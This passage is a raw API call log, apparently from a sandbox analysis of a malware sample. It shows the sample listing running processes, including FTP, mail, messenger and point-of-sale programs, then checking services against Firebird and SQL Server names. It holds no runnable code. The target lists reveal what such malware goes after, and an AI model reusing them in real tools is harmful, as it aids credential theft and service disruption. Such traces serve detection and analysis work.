th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0073.112] lstrlenW (lpString="jesse.exe") returned 9 [0073.112] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0073.113] lstrlenW (lpString="partners_format.exe") returned 19 [0073.113] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0073.114] lstrlenW (lpString="predict.exe") returned 11 [0073.114] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0073.115] lstrlenW (lpString="supervisor.exe") returned 14 [0073.115] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0073.116] lstrlenW (lpString="3dftp.exe") returned 9 [0073.116] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0073.117] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0073.117] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0073.118] lstrlenW (lpString="alftp.exe") returned 9 [0073.118] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0073.118] lstrlenW (lpString="barca.exe") returned 9 [0073.119] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0073.119] lstrlenW (lpString="bitkinex.exe") returned 12 [0073.119] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0073.120] lstrlenW (lpString="coreftp.exe") returned 11 [0073.120] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0073.121] lstrlenW (lpString="far.exe") returned 7 [0073.121] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0073.122] lstrlenW (lpString="filezilla.exe") returned 13 [0073.122] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0073.123] lstrlenW (lpString="flashfxp.exe") returned 12 [0073.123] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0073.124] lstrlenW (lpString="fling.exe") returned 9 [0073.124] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0073.125] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0073.125] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0073.126] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0073.126] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0073.127] lstrlenW (lpString="icq.exe") returned 7 [0073.127] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0073.128] lstrlenW (lpString="leechftp.exe") returned 12 [0073.128] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0073.129] lstrlenW (lpString="ncftp.exe") returned 9 [0073.129] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0073.130] lstrlenW (lpString="notepad.exe") returned 11 [0073.130] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0073.131] lstrlenW (lpString="operamail.exe") returned 13 [0073.131] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0073.133] lstrlenW (lpString="pidgin.exe") returned 10 [0073.133] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0073.134] lstrlenW (lpString="scriptftp.exe") returned 13 [0073.134] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0073.135] lstrlenW (lpString="skype.exe") returned 9 [0073.136] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0073.137] lstrlenW (lpString="smartftp.exe") returned 12 [0073.137] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0073.138] lstrlenW (lpString="thunderbird.exe") returned 15 [0073.138] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0073.139] lstrlenW (lpString="totalcmd.exe") returned 12 [0073.139] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0073.157] lstrlenW (lpString="trillian.exe") returned 12 [0073.157] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0073.381] lstrlenW (lpString="webdrive.exe") returned 12 [0073.381] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0073.382] lstrlenW (lpString="whatsapp.exe") returned 12 [0073.382] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0073.383] lstrlenW (lpString="winscp.exe") returned 10 [0073.383] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0073.384] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0073.384] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0073.386] lstrlenW (lpString="active-charge.exe") returned 17 [0073.386] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0073.387] lstrlenW (lpString="accupos.exe") returned 11 [0073.387] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0073.388] lstrlenW (lpString="afr38.exe") returned 9 [0073.388] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0073.389] lstrlenW (lpString="aldelo.exe") returned 10 [0073.389] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0073.390] lstrlenW (lpString="ccv_server.exe") returned 14 [0073.390] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0073.391] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0073.392] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0073.393] lstrlenW (lpString="creditservice.exe") returned 17 [0073.393] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0073.394] lstrlenW (lpString="edcsvr.exe") returned 10 [0073.394] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0073.395] lstrlenW (lpString="fpos.exe") returned 8 [0073.395] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0073.396] lstrlenW (lpString="isspos.exe") returned 10 [0073.396] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0073.397] lstrlenW (lpString="mxslipstream.exe") returned 16 [0073.397] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0073.398] lstrlenW (lpString="omnipos.exe") returned 11 [0073.398] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0073.399] lstrlenW (lpString="spcwin.exe") returned 10 [0073.399] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0073.400] lstrlenW (lpString="spgagentservice.exe") returned 19 [0073.400] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0073.401] lstrlenW (lpString="utg2.exe") returned 8 [0073.401] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0073.401] lstrlenW (lpString="atlascomedy.exe") returned 15 [0073.401] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0073.402] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0073.402] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0073.403] lstrlenW (lpString="ntsc.exe") returned 8 [0073.403] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0073.404] lstrlenW (lpString="criteria.exe") returned 12 [0073.404] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.405] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0073.405] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.406] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0073.406] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.407] lstrlenW (lpString="taskhost.exe") returned 12 [0073.407] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0073.408] lstrlenW (lpString="dllhost.exe") returned 11 [0073.408] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0073.408] lstrlenW (lpString="dllhost.exe") returned 11 [0073.408] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0073.409] lstrlenW (lpString="winhost.exe") returned 11 [0073.409] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0073.410] lstrlenW (lpString="cmd.exe") returned 7 [0073.410] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.410] lstrlenW (lpString="conhost.exe") returned 11 [0073.410] Process32NextW (in: hSnapshot=0x150, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0073.411] CloseHandle (hObject=0x150) returned 1 [0073.411] Sleep (dwMilliseconds=0x1f4) [0074.994] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6097c8 [0074.994] EnumServicesStatusExW (in: hSCManager=0x6097c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0074.995] GetLastError () returned 0xea [0074.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e4) returned 0x39799d8 [0074.995] EnumServicesStatusExW (in: hSCManager=0x6097c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39799d8, cbBufSize=0x11e4, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39799d8, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0074.996] CloseServiceHandle (hSCObject=0x6097c8) returned 1 [0074.996] lstrlenW (lpString="Appinfo") returned 7 [0074.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0074.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0074.996] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0074.996] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0074.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0074.996] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0074.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0074.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0074.997] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0074.997] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0074.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0074.997] lstrlenW (lpString="AudioSrv") returned 8 [0074.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0074.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0074.997] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0074.997] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0074.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0074.997] lstrlenW (lpString="BFE") returned 3 [0074.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0074.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0074.997] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0074.997] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0074.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0074.997] lstrlenW (lpString="CryptSvc") returned 8 [0074.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0074.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0074.997] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0074.997] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0074.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0074.997] lstrlenW (lpString="CscService") returned 10 [0074.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0074.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0074.998] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0074.998] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0074.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0074.998] lstrlenW (lpString="DcomLaunch") returned 10 [0074.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0074.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0074.998] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0074.998] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0074.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") 